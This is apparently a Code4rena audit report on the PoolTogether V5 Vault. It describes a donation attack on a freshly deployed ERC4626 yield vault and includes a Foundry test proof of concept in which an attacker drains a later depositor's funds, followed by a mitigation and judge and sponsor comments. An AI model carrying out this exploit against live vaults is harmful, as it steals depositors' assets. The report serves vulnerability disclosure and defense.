Donation Attack possible on the underlying yieldVault breaking the main vault

[code423n4]

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L524-L535 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L800-L802

Vulnerability details

Impact

The attacker can steal later depositer's funds.

Proof of Concept

Scenario - Creator 'A' creates a new YieldVault and then a new PoolTogether Vault providing the address of yieldVault in constructor

Poc -

1. Bob sees a new vault transaction,now he checks and finds out the yield vault is also a new ERC4626 vault, so he begins his attack
2. Bob deposits 1 wei directly to yieldVault and then transfers 1000 ether of underlying asset directly to yieldVault
3. Bob deposits small amount to the poolTogether vault as well
4. Now alice deposits 10 ether to poolTogether vault but will not be able to redeem as bob is having all the shares of yieldVault while poolTogether vault holds none.

function testDonation() public {

vm.startPrank(bob);

uint256 _attackAmount = 1000e18;

uint256 _bobAmount = 1;

uint256 _bobTotalAmount = _attackAmount + _bobAmount + _bobAmount;

underlyingAsset.mint(bob, _bobTotalAmount);

// bob first deposits directly to yieldVault

underlyingAsset.approve(address(yieldVault), _bobAmount);

yieldVault.deposit(_bobAmount, bob);

// Bob transfers 1,000 underlying assets, doing donation attack

underlyingAsset.transfer(vault.yieldVault(), _attackAmount);

// now bob deposits in the main vault

_deposit(underlyingAsset, vault, _bobAmount, bob);

assertEq(vault.totalSupply(), _bobAmount);

// bob suceeds in making vault's max withdraw to 0,hence totalAssets also = 0

assertEq(vault.totalAssets(), 0);

vm.stopPrank();

// now alice deposit 10 ether

vm.startPrank(alice);

uint aliceAmount = 10e18;

underlyingAsset.mint(alice, aliceAmount);

_deposit(underlyingAsset, vault, aliceAmount, alice);

assertEq(vault.balanceOf(alice), aliceAmount);

assertEq(vault.balanceOf(bob), _bobAmount);

assertEq(yieldVault.balanceOf(alice), 0);

assertEq(underlyingAsset.balanceOf(address(yieldVault)), _bobTotalAmount + aliceAmount);

// alice fails to withdraw as vault.totalAssets =0

vm.expectRevert();

vault.redeem(aliceAmount, alice, alice);

assertEq(yieldVault.maxWithdraw(address(vault)), 0);

assertEq(yieldVault.maxWithdraw(bob), aliceAmount + _bobTotalAmount);

vm.stopPrank();

vm.startPrank(bob);

vm.expectRevert();

vault.redeem(_bobAmount, bob, bob);

assertEq(underlyingAsset.balanceOf(bob), 0);

// completly drain the vault

uint vaultBal = underlyingAsset.balanceOf(address(yieldVault));

//bob redeems his share from yieldVault

yieldVault.redeem(_bobAmount, bob, bob);

assertEq(underlyingAsset.balanceOf(bob), vaultBal);

// bob succeeds in stealing alice's funds

emit log_named_decimal_uint("Bob final Balance", vaultBal, 18);

vm.stopPrank();

}

Tools Used

Manual Review

Recommended Mitigation Steps

Can be tricky to fix based on whether the yieldVault should be a new vault or a old one(high tvl). my recommendation is to check in the constructor of main vault by calling yield vault's convertToShare() function by passing in a non trivial amount as param and also making sure that yieldVault already has a non-trivial totalSupply, to check whether the yieldVault has suffered from a donation attack.

Assessed type

Other

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

asselstine marked the issue as sponsor confirmed

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as selected for report

[c4-judge]

Picodes marked the issue as partial-50

[c4-judge]

Picodes marked the issue as unsatisfactory: Out of scope

[PierrickGT]

This is an attack on the YieldVault and not the Vault no? PoolTogether V5 is permissionless by nature, so user should make sure they are depositing in a Vault using a safe YieldVault.